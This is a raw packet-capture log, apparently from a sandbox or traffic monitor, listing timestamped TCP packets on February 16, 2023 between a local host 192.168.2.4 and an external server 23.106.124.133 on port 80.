Feb 16, 2023 10:01:21.579396009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579413891 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.579444885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579473972 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.579490900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579535961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579579115 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.579583883 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579628944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579651117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.579674006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579720020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579765081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579790115 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.579809904 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579832077 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.579854965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579898119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579942942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579955101 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.579988003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.579999924 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.580034018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580080032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580126047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580138922 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.580173969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580208063 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580254078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580301046 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580358982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580408096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580450058 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.580456972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580498934 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.580514908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580574036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580621958 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580632925 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.580668926 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580670118 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.580713987 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580759048 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580770969 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.580805063 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580851078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580895901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580902100 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.580941916 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.580945969 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.580987930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.581032991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.581063986 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.581079960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.581125021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.581170082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.581207991 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.581223965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.581250906 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.581270933 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.581315041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.581334114 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.581360102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.581413031 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.613940954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614015102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614063025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614111900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614139080 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.614162922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614197016 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.614212990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614259005 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614283085 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.614305973 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614352942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614398003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614428997 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.614449024 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614484072 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.614521027 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614564896 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614609003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614629030 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.614654064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614681959 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.614727974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614775896 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614821911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614845991 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.614869118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614913940 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.614916086 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614964008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.614994049 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.615009069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.615056038 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.615101099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.615120888 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.615165949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.615184069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.615215063 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.615262985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.615320921 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.703284025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.703321934 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.703394890 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.755955935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.755985975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756006002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756026030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756045103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756066084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756066084 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756087065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756107092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756127119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756138086 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756146908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756166935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756171942 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756186008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756186962 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756206036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756223917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756241083 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756242037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756262064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756264925 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756282091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756299973 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756313086 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756318092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756335020 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756339073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756359100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756376028 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756383896 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756395102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756412983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756426096 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756454945 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756845951 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756865978 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756885052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756902933 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756906033 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756922007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756939888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756951094 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756958008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756974936 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.756982088 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.756994009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757011890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757029057 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757036924 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.757047892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757066965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757072926 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.757085085 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757097006 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.757103920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757122040 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757133961 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.757138968 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757158041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757174015 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.757177114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757196903 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.757200003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757220030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757237911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757245064 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.757256985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757272959 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.757276058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757294893 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757313013 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757313013 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.757332087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757350922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757360935 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.757369041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.757397890 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.789918900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.789961100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.789983988 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.789990902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790019035 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790044069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790060043 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790072918 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790091038 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790100098 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790128946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790141106 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790155888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790183067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790206909 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790210962 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790240049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790260077 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790266037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790292978 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790313959 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790318966 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790347099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790357113 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790374994 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790404081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790420055 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790432930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790460110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790472984 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790487051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790513992 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790518999 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790539980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790565968 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790590048 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790594101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790618896 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790643930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790667057 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790669918 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790704012 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.790724993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.790827036 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.845165968 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.878149033 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.878231049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.878326893 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.931965113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932035923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932085991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932127953 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.932174921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932233095 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.932255030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932303905 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932351112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932408094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932415962 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.932452917 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.932456017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932507992 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932552099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932598114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932605982 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.932643890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932645082 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.932689905 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932734013 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932777882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932780981 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.932821035 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.932845116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932890892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932934999 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932979107 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.932986975 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.933022976 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.933026075 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933072090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933115959 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933160067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933161974 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.933201075 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.933206081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933252096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933295965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933339119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933341026 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.933382034 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.933384895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933430910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933476925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933520079 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.933521032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933559895 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.933567047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933612108 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933655977 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933696032 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.933700085 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933742046 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.933743954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933788061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933834076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933891058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933937073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.933981895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934026003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934070110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934113979 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934156895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934201002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934245110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934288025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934334040 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934376955 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934422016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934467077 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.934514046 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.935163021 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.965286970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965332985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965362072 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965390921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965419054 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965454102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965485096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965513945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965518951 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.965540886 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965567112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965590000 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965614080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965615988 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.965615988 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.965640068 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965665102 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.965677023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965703011 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965728045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965739012 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.965754032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965779066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965789080 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.965805054 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965820074 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.965832949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965859890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965874910 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:21.965886116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965913057 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965936899 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965960979 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:21.965982914 CET	49698	80	192.168.2.4	23.106.124.133
